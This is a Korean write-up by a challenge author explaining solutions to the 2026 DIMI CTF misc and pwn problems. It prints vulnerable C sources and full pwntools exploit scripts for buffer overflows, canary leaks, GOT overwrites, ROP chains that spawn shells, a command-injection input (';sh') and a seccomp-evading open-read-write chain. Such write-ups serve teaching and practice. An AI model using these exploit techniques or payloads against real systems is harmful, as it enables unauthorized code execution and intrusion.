2026 DIMICTF 해설

안녕하세요? 2026 DIMI CTF 출제자 onLeaf입니다.
바로 해설 시작하겠습니다.
Blue Box (MISC)


위와 같이 플래그 위에 파란 박스가 가려져 있습니다.
이미지를 hxd로 열어보면

위와 같이 끝에 이상한 값이 존재합니다.
저 값을 Dreamhack Tools에서 입력하고 마법의 봉을 두 번 딸깍하시면

위와 같이 플래그를 얻으실 수 있습니다.
flag : DIMI{7h15_15_v3ry_51mp13,_15n'7_17?}
행복한 수학 (MISC)

Author가 Lyla4지만 문제 파일은 제가 만들었기에 제가 해설하게 되었습니다.
c언어 파일이 주어지지 않은 문제입니다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <time.h>
void Init() {
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
void win(){
system("/bin/sh");
}
int main(){
int a;
int b;
int c;
int answer = 0;
int correct = 0;
srand(time(NULL));
Init();
for (int i = 0; i < 500; i++){
a = rand() % 1000 + 1;
b = rand() % 1000 + 1;
c = rand() % 4 + 1;
printf("your solve counts : %d\n",correct);
if (c == 1){
printf("%d * %d = ?\n",a,b);
printf("> ");
scanf("%d",&answer);
if (answer == a*b){
puts("Correct!");
correct++;
}
else{
printf("The answer was %d\n",a*b);
break;
}
}
else if (c == 2){
printf("%d / %d = ?\n",a,b);
printf("> ");
scanf("%d",&answer);
if (answer == a/b){
puts("Correct!");
correct++;
}
else{
printf("The answer was %d\n",a/b);
break;
}
}
else if (c == 3){
printf("%d + %d = ?\n",a,b);
printf("> ");
scanf("%d",&answer);
if (answer == a+b){
puts("Correct!");
correct++;
}
else{
printf("The answer was %d\n",a*b);
break;
}
}
else if (c == 4){
printf("%d - %d = ?\n",a,b);
printf("> ");
scanf("%d",&answer);
if (answer == a-b){
puts("Correct!");
correct++;
}
else{
printf("The answer was %d\n",a*b);
break;
}
}
}
if (correct == 500){
win();
}
else{
puts("loser~~");
}
return 0;
}
prob.c 입니다.
pwntools 연습문제로 두 수 a, b를 받고 연산자를 받은 후 연산된 값을 보내는 행위를 500번 반복하면 됩니다.
from pwn import *
#p = process('./prob')
p = remote("39.118.211.92", 32948)
for i in range(500):
print(p.recvuntil(b'your solve counts : '))
print(p.recvline())
expr_line = p.recvline().decode().strip()
print(expr_line)
parts = expr_line.split()
if len(parts) < 3:
break
a = int(parts[0])
op = parts[1]
b = int(parts[2])
if op == '+':
ans = a + b
elif op == '-':
ans = a - b
elif op == '*':
ans = a * b
elif op == '/':
ans = a // b
else:
break
p.sendlineafter(b'> ', str(ans))
p.recvuntil(b'\n')
p.interactive()
flag : DIMI{H4NG_SIUUUUUUUUUUUUUUU!}
출제자 비난하기 (MISC)

특정 문제의 특정 이슈에 대한 문제가 너무 많아 급하게 출제한 문제입니다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void Init() {
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
void binan(int *score){
puts("Good job!!\n");
*score += 1;
return;
}
void chingchan(int *score){
puts("you're bad!!\n");
*score -= 1000000;
return;
}
int main(){
int score = 0;
int choose = 0;
int check = 0;
int c;
Init();
puts("Catch the flag by binaning Cmon and Lyla4 200 million times!!\n");
while (check == 0){
puts("=====================");
puts("1. binan hagi");
puts("2. chingchan hagi");
puts("=====================");
printf("Now score : %d\n",score);
printf("> ");
if(scanf("%d", &choose) != 1){
while((c = getchar()) != '\n' && c != EOF){
continue;
}
}
switch (choose){
case 1:
binan(&score);
break;
case 2:
chingchan(&score);
break;
default:
puts("just binan okay?\n");
break;
}
if (score == 199999999){
puts("binan is bad!!");
exit(0);
}
else if (score >= 200000000){
puts("Congratulations!");
check = 1;
}
choose = 0;
}
FILE *fp = fopen("flag", "r");
if(fp == NULL){
perror("there is no flag file");
return 1;
}
char buf[512];
while (fgets(buf, sizeof(buf), fp) != NULL){
fputs(buf, stdout);
}
fclose(fp);
return 0;
}
prob.c 입니다.
코드를 보면 score는 비난을 할 시 1점이 오르고 칭찬을 하면 1000000점이 감소합니다.
또한, 199999999점이면 exit를, 200000000점 이상이면 flag를 출력합니다.
여기서 int overflow를 떠올릴 수 있습니다.
int min 값 -2147483648보다 작아지면 매우 큰 양수가 되는 것을 이용하여
score 값을 200000000점 이상으로 조작할 수 있습니다.
from pwn import *
#p = process('./prob')
p = remote('39.118.211.92', 34058)
for i in range(2148):
p.sendline(b'2')
p.recvuntil(b'Congratulations!\n')
print(p.recvline().decode('utf-8'))
flag : DIMI{비난은_나빠요_다들_출제자를_앞으로도_응원해주세요!!}
이상한 프린터 (PWN)

c언어 파일이 제공되지 않은 문제입니다.
#include <stdio.h>
#include <stdlib.h>
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
int main(){
char command[16];
char buf[100];
initialize();
printf("Input: ");
scanf("%15s",command);
snprintf(buf, sizeof(buf), "echo %s", command);
system(buf);
return 0;
}
prob.c 입니다.
입력받은 문자에 echo를 붙여 system으로 실행하는 코드입니다.
따라서 Command Injection 중 ; (명령어 구분)을 써 쉘을 호출하시면 됩니다.
아래를 입력하시면 풀 수 있습니다.
;sh
flag : DIMI{;sh?_&sh?_n0_m4tT2r}
Brain Overflow (PWN)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
//gcc prob.c -o prob -fno-stack-protector -no-pie
void Init() {
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
void win(){
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
}
int main(){
char recipe[16];
Init();
memset(recipe, 0, sizeof(recipe));
puts("I want to eat a Pancake, Please tell me the recipe");
gets(recipe);
if (strlen(recipe) > 20){
puts("I can't remember sorry T.T");
exit(-1);
}
puts("Thanks!!");
return 0;
}
prob.c입니다.
입력을 gets로 받는 것을 보아 BOF 문제임을 알 수 있습니다.
하지만 strlen으로 길이 제한을 두고 있습니다. 이는 널 문자(\x00)로 우회할 수 있습니다.
예를 들어, AAAAA\x00AAAAAA로 입력을 하게 된다면 strlen의 결과는 5가 됩니다.
결과적으로 recipe에 널 문자를 하나 포함하여 Return Address 전까지 덮은 후 win 함수의 주소를 쓰면 쉘을 딸 수 있습니다.
from pwn import *
#p = process('./prob')
p = remote('39.118.211.92',32961)
e = ELF('./prob')
win = e.symbols["win"]
pay = b'\x00' + b'A'*23 + p64(win)
p.sendlineafter(b"I want to eat a Pancake, Please tell me the recipe", pay)
p.interactive()
flag : DIMI{여러분의_팬케이크_레시피는_무엇인가요!?}
Easy login (PWN)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
//gcc prob.c -o prob -no-pie
char user_id[16] = "freshman";
char password[8] = "DIMICTF";
void Init() {
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
void win(){
system("/bin/sh");
}
int main(){
char buf[8];
int choose = 0;
Init();
while (1){
choose = 0;
memset(buf, 0, sizeof(buf));
printf("password?\n");
scanf("%7s",buf);
if (strcmp(buf,password) != 0){
printf("Password is incorrect");
exit(-1);
}
printf("Welcome, %s\n",user_id);
if (strcmp(user_id,"admin") == 0){
win();
}
while (choose != -99){
memset(buf, 0, sizeof(buf));
printf("1. change the password\n");
printf("2. change the id\n");
printf("3. write a note\n");
printf("4. logout\n");
printf("> ");
scanf("%d",&choose);
switch (choose){
case 1:
printf("write a index : ");
scanf("%d",&choose);
if (choose > 7){
printf("index is too big\n");
break;
}
printf("new password : ");
scanf(" %c", &password[choose]);
choose = 0;
break;
case 2:
printf("write a new id : ");
scanf("%7s",buf);
if (strcmp(buf,"admin") == 0){
printf("Banned ID\n");
break;
}
strcpy(user_id,buf);
break;
case 3:
printf("write a note : ");
scanf("%7s",buf);
break;
case 4:
choose = -99;
break;
default:
printf("Write a correct number\n");
}
}
}
return 0;
}
prob.c 입니다.
위 코드를 보면 id가 admin이면 win 함수를 호출하는 것을 알 수 있습니다.
하지만 id 변경 기능에서는 admin을 제외한 id로만 변경할 수 있습니다.
취약한 부분은 비밀번호 변경 부분입니다. index를 입력받는데 음수 제한을 두지 않아 OOB 취약점이 존재합니다.
또, IDA로 분석해 보면 password와 id 사이의 거리는 16바이트임을 알 수 있습니다. (이에 대한 설명은 여기서는 하지 않겠습니다.)
따라서, index 입력 시 -16을 입력한다면 freshman의 f부분을 조작할 수 있습니다.
from pwn import *
p = process("./prob")
p.sendlineafter("password?\n", "DIMICTF")
admin = "admin\x00\x00\x00"
cnt=0
for i in range(-16, -8, 1):
p.sendlineafter("> ", "1")
p.sendlineafter(": ", str(i).encode())
p.sendlineafter(": ", admin[cnt])
cnt += 1
p.sendlineafter("> ", "4")
p.sendlineafter("password?\n", "DIMICTF")
p.interactive()
이 문제는 pwntools 없이도 해결할 수 있습니다.
password?
DIMICTF
Welcome, freshman
1. change the password
2. change the id
3. write a note
4. logout
> 2
write a new id : sdmin
1. change the password
2. change the id
3. write a note
4. logout
> 1
write a index : -16
new password : a
1. change the password
2. change the id
3. write a note
4. logout
> 4
password?
DIMICTF
Welcome, admin
$ $ cat flag
DIMI{Omg_Omg_B3c0Me_4n_4dm1N}$
flag : DIMI{Omg_Omg_B3c0Me_4n_4dm1N}
카나리아 키우기 (PWN)

c언어 파일이 제공되지 않은 문제입니다.
(위 문제는 2024 Layer7 CTF plusminus 문제를 참고하였습니다.)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
//gcc prob.c -o prob -m64 -fstack-protector -O0 -no-pie -fcf-protection=none
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void win(){
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
}
int main(void) {
int buf[2] = {0};
initialize();
for (int i = 0; i <= 7; i++) {
scanf("%d", &buf[i]);
}
return 0;
}
prob.c 입니다.
IDA로 분석해 보면 buf[1]에 카나리가 저장됨을 알 수 있습니다.
또한, OOB 취약점이 존재함을 알 수 있습니다.
scanf는 + 혹은 -를 입력하여 건너뛸 수 있습니다.
from pwn import *
#p = process('./prob')
p = remote('39.118.211.92',33924)
for i in range(6):
p.sendline(b'+')
p.sendline(b'4198877')
p.sendline(b'0')
p.interactive()
flag : DIMI{Cc4naRi_Bbiyak_bB1y4k}
Last dance (PWN)

c언어 파일이 제공되지 않은 문제입니다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <inttypes.h>
//gcc prob.c -o prob -O0 -fstack-protector -no-pie -fno-pie -Wl,-z,relro -Wl,-z,noexecstack -fcf-protection=none
static int check = 0;
void Init() {
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
static uint64_t read_u64(void) {
char buf[64];
if (!fgets(buf, sizeof(buf), stdin)) exit(1);
return strtoull(buf, NULL, 0);
}
int main(){
char buf[64];
Init();
memset(buf, 0, sizeof(buf));
if (check == 0){
puts("Last chance!!");
uint64_t val = read_u64();
uint64_t addr = read_u64();
*(uint64_t*)addr = val;
check = 1;
}
read(0, buf, 128);
printf("%s",buf);
return 0;
}
prob.c 입니다.
aaw 취약점이 한번 존재하며 BOF 취약점이 존재합니다.
이 문제엔 카나리가 걸려있어 stack_chk_fail의 got를 main 내부로 만들고 카나리를 덮어준다면 카나리 릭과 함께 main으로 복귀하게 됩니다.
또한 두 번째로는 리턴주소를 읽어 libc base까지 알아낼 수 있습니다. (이때 카나리를 한번 더 덮어야 합니다.)
마지막으로 ROP를 하면 쉘을 딸 수 있습니다.
from pwn import *
def slog(name, addr): return success(': '.join([name, hex(addr)]))
#p = process('./prob')
p = remote('39.118.211.92', 32955)
e = ELF('./prob')
libc = ELF('./libc.so.6')
main_loop = 0x4012C5
stack_chk_fail = 0x404008
# stack_chk_fail -> main내부
p.sendlineafter(b'Last chance!!\n', str(main_loop).encode())
p.sendline(str(stack_chk_fail).encode())
# canary leak
p.send(b'A' * 73)
p.recvuntil(b'A' * 73)
canary = u64(b'\x00' + p.recvn(7))
slog('canary', canary)
# libc base leak
pay = b'A'*72 + b'B'*8 + b'C'*8
p.send(pay)
p.recvuntil(b'A'*72)
p.recvn(16)
lb = u64(p.recvn(6).ljust(8, b'\x00'))
lb = lb - 0x2a1ca
slog('libc base', lb)
#exploit
ret = 0x40101a
pop_rdi = lb + 0x10f78b
binsh = lb + 0x1cb42f
system = lb + 0x58750
pay = b'A'*72 + p64(canary) + b'B'*8 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
p.send(pay)
p.interactive()
flag : DIMI{나는_이_노랠_부르며_문제를_풀러_갈거야_BIGBANG-Last-dance}
My first game v1.0 (PWN)

c언어 파일이 제공되지 않은 문제입니다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <time.h>
#include <sys/random.h>
#include <stdint.h>
//gcc prob.c -o prob -m64 -fstack-protector -O0 -no-pie -fcf-protection=none
void initialize(){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
char *pr[] = {"0","red","green","yellow","purple","white","alpha","DIMI","Sunny","house"};
uint32_t randomm(uint32_t range) {
if (range < 2) return 0;
uint32_t r;
uint32_t limit = UINT32_MAX - (UINT32_MAX % range);
while (1) {
if (getrandom(&r, sizeof(r), 0) != sizeof(r)) {
perror("getrandom");
exit(1);
}
if (r < limit)
return r % range;
}
}
uint32_t between(uint32_t min, uint32_t max){
return min + randomm(max - min + 1);
}
int main(){
int ct = 4;
char answer[128];
char your_write[128];
initialize();
memset(answer,0,sizeof(answer));
memset(your_write,0,sizeof(your_write));
puts("What is your name?");
read(0, your_write, 0x100);
printf("Hello %s!\n",your_write);
puts("Welcome to the Memory game.");
sleep(2);
puts("Before we start, let me explain the rules.");
sleep(2);
puts("When the game starts, I will show you colors or words one by one.");
sleep(3);
puts("You start memorizing the colors or words that appear one by one.");
sleep(3);
puts("When asked to write the answer, you can simply write the numbers corresponding to the words or colors in order all at once.");
sleep(4);
puts("Here is an example.");
sleep(2);
puts("1. red");
puts("2. green");
puts("================");
printf("red");
fflush(stdout);
sleep(1);
printf("\r\033[2K");
printf("green");
fflush(stdout);
sleep(1);
printf("\r\033[2K");
sleep(2);
puts("The answer is 12.");
sleep(4);
puts("This game has 100 rounds, and clearing them all will display a flag.");
sleep(4);
puts("Now..");
sleep(2);
puts("Let's start the game");
sleep(3);
printf("\033[H\033[J");
fflush(stdout);
while (1){
for (int i = 1; i <= 100; i++){
useconds_t delay = (useconds_t)(3000000.0 / i);
printf("Round %d\n",i);
memset(answer,0,sizeof(answer));
memset(your_write,0,sizeof(your_write));
puts("1. red");
puts("2. green");
puts("3. yellow");
puts("4. purple");
if (i >= 20){
ct = 6;
puts("5. white");
puts("6. alpha");
}
if (i >= 50){
ct = 8;
puts("7. DIMI");
puts("8. Sunny");
}
if (i >= 80){
ct = 9;
puts("9. house");
}
puts("==================");
for (int j = 1; j <= i; j++){
int r = between(1,ct);
answer[j-1] = '0' + r;
printf("%s",pr[r]);
fflush(stdout);
usleep(delay);
printf("\r\033[2K");
usleep(100000);
}
answer[i] = '\n';
printf("> ");
read(0, your_write, 0x100);
if (strcmp(answer, your_write) == 0){
puts("Correct!");
sleep(1);
printf("\033[H\033[J");
fflush(stdout);
if (i == 100){
FILE *fp = fopen("flag", 1);
if(fp == NULL){
perror("there is no flag file");
return 1;
}
while (fgets(your_write, sizeof(your_write), fp) != NULL){
fputs(your_write, stdout);
}
fclose(fp);
exit(-1);
}
}
else{
memset(your_write,0,sizeof(your_write));
break;
}
}
puts("play again?");
read(0, your_write, 1);
while (getchar() != '\n');
if (your_write[0] != 'y'){
break;
}
printf("\033[H\033[J");
fflush(stdout);
}
return 0;
}
prob.c 입니다.
코드를 보면 BOF 발생 지점이 2개가 되는 것을 알 수 있습니다.
또한 처음 BOF 지점에서는 출력도 해주는 것을 알 수 있습니다.
처음에 카나리 릭을 하고 두 번째 BOF를 통해 main리턴을 하려고 하면 Return address 값이 0x0으로 되어 터져버리게 됩니다.
따라서 _start로 리턴해 Return address 값을 libc 내부로 맞춰줌과 동시에 main으로 리턴할 수 있습니다.
리턴시 다시 처음 BOF 지점에서 Return address 값을 통해 libc base 릭이 가능합니다.
두번째 BOF 지점에서 payload를 보내고 게임을 종료하면 쉘을 딸 수 있습니다.
from pwn import *
context.log_level = 'debug'
def slog(name, addr): return success(': '.join([name, hex(addr)]))
#p = process('./prob')
p = remote('39.118.211.92',32953)
e = ELF('./prob')
start = 0x401150
#canary leak
p.sendafter(b'name?',b'A'*137)
p.recvuntil(b'A'*137)
canary = u64(b'\x00' + p.recvn(7))
slog('canary', canary)
#return main // _start에서 libc start main 호출하기 위한 세팅
pay = b'A'*136 + p64(canary) + b'B'*8 + p64(start)
pay += p64(1) + p64(0x4022eb) + p64(0)*4
p.sendafter(b'> ',pay)
p.sendlineafter(b'play again?',b'n')
#libc base leak
p.sendafter(b'name?',b'A'*152)
p.recvuntil(b'A'*152)
lb = p.recvuntil(b'!',drop=True)
lb = u64(lb.ljust(8,b'\x00')) - 0x29d90
slog('libc base',lb)
#exploit
pop_rdi = lb + 0x2a3e5
ret = lb + 0x29139
binsh = lb + 0x1d8678
system = lb + 0x50d70
pay = b'A'*136 + p64(canary) + b'B'*8 + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
p.sendafter(b'> ',pay)
p.sendlineafter(b'play again?',b'n')
p.interactive()
flag : DIMI{사실_이_문제_100라운드_도달하면_fake_flag줄려했었는데_코드_작동_안하게_짠거_기억나서_못했어요_ㅜㅜ}
Infinity dance (PWN)

c언어 파일이 제공되지 않은 문제입니다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <inttypes.h>
#include <stddef.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/audit.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
// gcc prob.c -o prob -Os -fstack-protector-all -no-pie -fno-pie \
// -Wl,-z,norelro -Wl,-z,noexecstack -Wl,-T,order.ld \
// -falign-functions=1 -fno-inline -s
long long input(void);
void init_seccomp(void);
__attribute__((section(".text.secret"), noinline, used))
void secret(){
puts("go away");
sleep(1);
return;
}
__attribute__((section(".text.main"), noinline, used))
int main(){
char val;
uint64_t addr = 0;
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
init_seccomp();
val = (char)input();
addr = (uint64_t)input();
*(char *)addr = val;
return 0;
}
__attribute__((section(".text.after_main"), noinline, used, destructor(65535)))
static void my_fini(void){
asm volatile("" ::: "memory");
}
long long input(void){
long long result = 0;
char c;
while (1){
c = getchar();
if (c == '\n')
break;
result = result * 10 + (c - '0');
}
return result;
}
void init_seccomp(void){
struct sock_filter filter[] = {
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, arch)),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 0, 5),
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execve, 2, 0),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execveat, 1, 0),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1){
perror("prctl(NO_NEW_PRIVS)");
exit(1);
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1){
perror("prctl(SECCOMP)");
exit(1);
}
}
prob.c 입니다.
위 코드를 보면 execve 혹은 execveat을 호출 시 kill이 되는 것을 알 수 있습니다.
따라서 Open Read Write(ORW) 를 통해 플래그를 읽는 방식을 떠올릴 수 있습니다.
취약점은 임의 주소에 1바이트 쓰기를 할 수 있다는 점입니다.
1바이트 쓰는 행위는 코드 상으론 1번만 가능한데, fini array[1]과 _stack_chk_fail, sleep got를 조작하면 무한 루프를 만들 수 있습니다.
무한 루프를 만든 후 setbuf와 stderr을 puts의 plt와 다른 함수의 got로 바꾼다면 got leak을 통해 libc base leak이 가능합니다.
위 방법을 한번 더 이용해서 environ을 릭하게 된다면 스택 주소까지 알 수 있습니다.
이제 ORW chain을 작성할 차례입니다.
.bss 영역에 chain을 작성하고 setbuf를 setcontext의 got로 바꿔 fake stack으로 실행 흐름을 넘깁니다.
fake stack에 작성한 ORW chain이 실행되며 flag를 얻을 수 있습니다.
from pwn import *
def slog(name, addr): print(': '.join([name, hex(addr)]))
p = remote('39.118.211.92', 33145)
#p = process('./prob')
e = ELF('./prob')
libc = ELF('./libc-2.27.so')
fini1 = 0x600C98
stack_chk_fail_got = 0x600EA0
setbuf_got = 0x600EA8
prctl_got = 0x600EB8
sleep_got = 0x600ED0
stdout_ptr = 0x600F00
stderr_ptr = 0x600F20
ctx = 0x600D00
msg = 0x600F40
fake_stack = 0x600B00
buf = 0x600FC0
puts_plt = 0x400620
write_gadget = 0x400717
prctl_libc = 0x122210
setcontext_35 = 0x52085
pop_rdi_ret = 0x2164F
pop_rsi_ret = 0x23A6A
pop_rdx_ret = 0x1B96
pop_rax_ret = 0x1B500
syscall_ret = 0x10FA65
environ = libc.symbols['environ']
def write1(value, addr):
p.sendline(str(value & 0xff).encode())
p.sendline(str(addr).encode())
def write8(addr, value):
for i in range(8):
write1((value >> (8 * i)) & 0xff, addr + i)
def writes(addr, data):
for i, value in enumerate(data):
write1(value, addr + i)
def leak(addr):
writes(msg, b'AAAAAAAA\x00')
write8(stdout_ptr, addr)
write8(stderr_ptr, msg)
write8(setbuf_got, puts_plt)
write1(0xf6, stack_chk_fail_got)
data = p.recvuntil(b'AAAAAAAA\n')
data = data[:-len(b'AAAAAAAA\n')]
if data.endswith(b'\n'):
data = data[:-1]
write1(0x90, stack_chk_fail_got)
return data
def write_ctx(first):
for offset in [0x28, 0x30, 0x48, 0x50, 0x58, 0x60, 0x78, 0x80, 0x98]:
write8(ctx + offset, 0)
write8(ctx + 0x68, 1)
write8(ctx + 0x70, msg)
write8(ctx + 0x88, 5)
write8(ctx + 0xa0, fake_stack + 8)
write8(ctx + 0xa8, first)
def write_chain(chain):
addr = fake_stack + 8
for value in chain:
write8(addr, value)
addr += 8
write1(0x17, fini1)
write1(0xf6, stack_chk_fail_got)
write1(0x12, setbuf_got)
write8(sleep_got, write_gadget)
write1(0x90, stack_chk_fail_got)
prctl = u64(leak(prctl_got).ljust(8, b'\x00'))
lb = prctl - prctl_libc
environ = u64(leak(lb + environ).ljust(8, b'\x00'))
slog('libc base', lb)
slog('environ', environ)
setcontext = lb + setcontext_35
pop_rax = lb + pop_rax_ret
pop_rdi = lb + pop_rdi_ret
pop_rsi = lb + pop_rsi_ret
pop_rdx = lb + pop_rdx_ret
syscall = lb + syscall_ret
flag = msg
pay = [
3,
pop_rax, 3,
pop_rdi, 3,
syscall,
pop_rax, 257,
pop_rdi, -100 & 0xffffffffffffffff,
pop_rsi, flag,
pop_rdx, 0,
syscall,
pop_rax, 0,
pop_rdi, 3,
pop_rsi, buf,
pop_rdx, 0x40,
syscall,
pop_rax, 1,
pop_rdi, 1,
pop_rsi, buf,
pop_rdx, 0x40,
syscall,
]
writes(flag, b'/home/freshman/flag\x00')
write_chain(pay)
write_ctx(pop_rdi)
write8(stdout_ptr, ctx)
write8(setbuf_got, setcontext)
write1(0xf6, stack_chk_fail_got)
flag = p.recvline(timeout=2).strip().rstrip(b'\x00')
print(flag.decode())
p.close()
이 문제는 0솔로 남길 빌었지만 1학년부 2명, 3학년부 1명 총 3분이 푸셨더라구요.. 대단하십니다ㄷㄷ